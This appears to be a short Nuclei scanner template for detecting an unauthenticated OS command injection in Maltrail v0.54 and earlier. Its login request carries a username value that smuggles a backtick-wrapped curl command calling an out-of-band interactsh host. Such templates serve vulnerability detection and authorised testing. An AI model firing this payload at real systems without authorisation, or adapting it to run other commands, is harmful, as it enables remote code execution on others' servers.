Maltrail <= v0.54 is vulnerable to unauthenticated OS command injection during the login process.

maltrail-command-injection.nuclei.yaml

id: maltrail-os-command-injection

info:
  author: Esonhugh
  name: Unauthenticated OS Command Injection in stamparm/maltrail
  severity: critical
  description: |
    Maltrail <= v0.54 is vulnerable to unauthenticated OS command injection during the login process.
  reference:
    - "https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/"

variables:
  payload: "curl+{{interactsh-url}}"

http:
  - path:
      - "{{BaseURL}}/login"
      - "{{BaseURL}}login"
    method: POST
    body: "username=;`{{ payload }}`"